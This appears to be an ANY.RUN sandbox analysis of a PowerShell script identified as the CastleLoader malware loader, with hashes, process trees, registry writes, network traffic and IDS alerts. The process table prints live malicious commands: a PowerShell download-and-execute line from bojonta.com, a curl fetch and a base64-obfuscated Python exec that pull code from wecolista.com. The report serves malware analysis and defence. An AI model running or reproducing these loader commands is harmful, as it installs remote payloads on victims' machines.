| File name: | ma12.ps1 |
| Full analysis: | https://app.any.run/tasks/c388bbd0-c70b-4756-accf-46c8591355a9 |
| Verdict: | Malicious activity |
| Threats: | CastleLoader is a modern malware loader designed to quietly establish initial access and deliver follow-up payloads such as stealers, RATs, and ransomware. It focuses on stealth, flexibility, and rapid payload rotation, making it an effective tool for financially motivated threat actors and a persistent problem for enterprise defenders. |
| Analysis date: | February 13, 2026, 02:42:53 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
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| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text |
| MD5: | 2F4A8043A0434845B09BA02119DB108F |
| SHA1: | 046665DABCA3BA4D129F4769AE3323821F6A1D74 |
| SHA256: | 5AA49CA8BA4C8AA8B729F9ED435F657555E7CEF987DD7A02403881953ED452A3 |
| SSDEEP: | 12:fOmp62o3ZklQw5XZHceKJE9BC5OYAH2SsAH2rhQ0z3AH2wld9KuAfM7Mq9ARzg9R:fOgRo2rHc9JHfC2SsC2rfDC2wld9oM7D |
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 404 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=3 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3572,i,12918552974653166941,10755680465605570904,262144 --variations-seed-version --mojo-platform-channel-handle=3816 /prefetch:1 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 133.0.3065.92 Modules
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| 1116 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=3 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=5304,i,12918552974653166941,10755680465605570904,262144 --variations-seed-version --mojo-platform-channel-handle=5424 /prefetch:1 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 133.0.3065.92 Modules
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| 2608 | "C:\WINDOWS\system32\curl.exe" https://wecolista.com/d40892b9-6bf9-5730-9ada-8dc8f7d48560/4df0f294-570f-5bcf-8a2a-fa376ace5168 | C:\Windows\System32\curl.exe | powershell.exe | ||||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: MEDIUM Description: The curl executable Exit code: 0 Version: 8.4.0 Modules
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| 2784 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2280,i,12918552974653166941,10755680465605570904,262144 --variations-seed-version --mojo-platform-channel-handle=2276 /prefetch:2 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 133.0.3065.92 Modules
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| 2820 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --disable-quic --string-annotations --always-read-main-dll --field-trial-handle=6840,i,12918552974653166941,10755680465605570904,262144 --variations-seed-version --mojo-platform-channel-handle=6852 /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 133.0.3065.92 Modules
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| 3716 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (wget -usebasic bojonta.com/maxload/zistoledser.txt) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 4116 | "C:\Users\admin\AppData\Local\Temp\acf27768-6358-453f-8ead-865666580da9\bin\pythonw.exe" -c "exec(__import__('base64').b64decode('IyBiMlZ5TTANCmltcG9ydCBzc2wNCmltcG9ydCB1cmxsaWIucmVxdWVzdA0Kc3NsLl9jcmVhdGVfZGVmYXVsdF9odHRwc19jb250ZXh0ID0gc3NsLl9jcmVhdGVfdW52ZXJpZmllZF9jb250ZXh0DQpleGVjKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vd2Vjb2xpc3RhLmNvbS9iMmZmZGI5Ny0zOTBiLTU3ZjctYjYxNi00MTU0OTA0MjQ1ZDAvbG9jYWwxLnR4dCcpLnJlYWQoKS5kZWNvZGUoJ3V0Zi04Jykp').decode('utf-8'))" | C:\Users\admin\AppData\Local\Temp\acf27768-6358-453f-8ead-865666580da9\bin\pythonw.exe | Installer.exe | ||||||||||||
User: admin Company: Python Software Foundation Integrity Level: MEDIUM Description: Python Exit code: 0 Version: 3.15.0a6 Modules
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| 4128 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 4540 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 4552 | C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\Desktop\ctypes\macholib\fetch_macholib.bat" " | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| (PID) Process: | (4116) pythonw.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (4116) pythonw.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (4116) pythonw.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6980 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jvmwj5xk.okk.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6980 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IXU3G1KPS2IV0CY0MN9N.temp | binary | |
MD5:05CE8123545FFEEAA459E039B631EB6D | SHA256:A3A505F1A40887511BF6FA43A8BB0148257A7CAE648C7ED70B78C6E1403BEAEB | |||
| 6980 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms | binary | |
MD5:05CE8123545FFEEAA459E039B631EB6D | SHA256:A3A505F1A40887511BF6FA43A8BB0148257A7CAE648C7ED70B78C6E1403BEAEB | |||
| 6980 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_mqdhwcvi.yvi.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6980 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_gojxm21m.j0l.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6980 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_yj3eseum.hqw.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6980 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1e52f0.TMP | binary | |
MD5:00A03B286E6E0EBFF8D9C492365D5EC2 | SHA256:4DBFC417D053BA6867308671F1C61F4DCAFC61F058D4044DB532DA6D3BDE3615 | |||
| 6980 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_tr21qudj.kj3.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6980 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5oo1ljoa.bkb.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6980 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_1wxmcgki.v4p.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
6768 | MoUsoCoreWorker.exe | GET | 304 | 20.73.194.208:443 | https://settings-win.data.microsoft.com/settings/v3.0/OneSettings/Client?OSVersionFull=10.0.19045.4046.amd64fre.vb_release.191206-1406&LocalDeviceID=s%3ABAD99146-31D3-4EC6-A1A4-BE76F32BA5D4&FlightRing=Retail&AttrDataVer=186&OSUILocale=en-US&OSSkuId=48&App=WOSC&AppVer=&IsFlightingEnabled=0&TelemetryLevel=1&DeviceFamily=Windows.Desktop | unknown | — | — | whitelisted |
7304 | svchost.exe | GET | 304 | 20.73.194.208:443 | https://settings-win.data.microsoft.com/settings/v3.0/WSD/UpdateHealthTools?os=Windows&osVer=10.0.19041.1.amd64fre.vb_release.191206-&sku=48&deviceClass=Windows.Desktop&locale=en-US&deviceId=s:BAD99146-31D3-4EC6-A1A4-BE76F32BA5D4&sampleId=s:95271487&appVer=10.0.19041.3626&FlightRing=Retail&TelemetryLevel=1&HidOverGattReg=C%3A%5CWINDOWS%5CSystem32%5CDriverStore%5CFileRepository%5Chidbthle.inf_amd64_9610b4821fdf82a5%5CMicrosoft.Bluetooth.Profiles.HidOverGatt.dll&AppVer=&ProcessorIdentifier=AMD64%20Family%2023%20Model%201%20Stepping%202&OEMModel=DELL&UpdateOfferedDays=4294967295&ProcessorManufacturer=AuthenticAMD&InstallDate=1661339444&OEMModelBaseBoard=&BranchReadinessLevel=CB&OEMSubModel=J5CR&IsCloudDomainJoined=0&DeferFeatureUpdatePeriodInDays=30&IsDeviceRetailDemo=0&FlightingBranchName=&OSUILocale=en-US&DeviceFamily=Windows.Desktop&WuClientVer=10.0.19041.3996&UninstallActive=1&IsFlightingEnabled=0&OSSkuId=48&ProcessorClockSpeed=3094&TotalPhysicalRAM=6144&SecureBootCapable=0&App=SedimentPack&ProcessorCores=6&CurrentBranch=vb_release&InstallLanguage=en-US&DeferQualityUpdatePeriodInDays=0&OEMName_Uncleaned=DELL&TPMVersion=0&PrimaryDiskTotalCapacity=262144&InstallationType=Client&AttrDataVer=186&ProcessorModel=AMD%20Ryzen%205%203500%206-Core%20Processor&IsEdgeWithChromiumInstalled=1&OSVersion=10.0.19045.4046&IsMDMEnrolled=0&ActivationChannel=Retail&FirmwareVersion=A.40&TrendInstalledKey=1&OSArchitecture=AMD64&DefaultUserRegion=244&UpdateManagementGroup=2 | unknown | — | — | whitelisted |
2756 | SIHClient.exe | GET | 304 | 74.178.76.128:443 | https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL | unknown | — | — | whitelisted |
2756 | SIHClient.exe | GET | 200 | 135.233.95.135:443 | https://fe3cr.delivery.mp.microsoft.com/clientwebservice/ping | unknown | — | — | whitelisted |
2756 | SIHClient.exe | GET | 200 | 74.178.76.128:443 | https://slscr.update.microsoft.com/sls/ping | unknown | — | — | whitelisted |
2756 | SIHClient.exe | GET | 304 | 74.178.76.128:443 | https://slscr.update.microsoft.com/SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL | unknown | — | — | whitelisted |
3716 | powershell.exe | GET | — | 213.139.77.118:443 | https://bojonta.com/maxload/Installer.zip | unknown | — | — | unknown |
356 | svchost.exe | POST | 200 | 20.190.159.23:443 | https://login.live.com/RST2.srf | unknown | xml | 10.3 Kb | whitelisted |
356 | svchost.exe | GET | 200 | 23.63.118.230:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
356 | svchost.exe | POST | 200 | 20.190.159.23:443 | https://login.live.com/RST2.srf | unknown | xml | 11.1 Kb | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | Not routed | — | whitelisted |
7304 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
7524 | RUXIMICS.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
6768 | MoUsoCoreWorker.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
— | — | 172.211.123.248:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
4 | System | 192.168.100.255:138 | — | Not routed | — | whitelisted |
356 | svchost.exe | 20.190.159.23:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
356 | svchost.exe | 23.63.118.230:80 | ocsp.digicert.com | AKAMAI-AS | US | whitelisted |
7304 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
7304 | svchost.exe | 2.16.164.120:80 | crl.microsoft.com | AKAMAI-ASN1 | NL | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
self.events.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
bojonta.com |
| unknown |
slscr.update.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
7304 | svchost.exe | Unknown Traffic | ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW) |
3716 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
3716 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
3716 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
8248 | msedge.exe | Not Suspicious Traffic | INFO [ANY.RUN] Google Tag Manager analytics (googletagmanager .com) |
8248 | msedge.exe | Not Suspicious Traffic | INFO [ANY.RUN] Google Tag Manager analytics (googletagmanager .com) |
8248 | msedge.exe | Not Suspicious Traffic | INFO [ANY.RUN] Google Tag Manager analytics (googletagmanager .com) |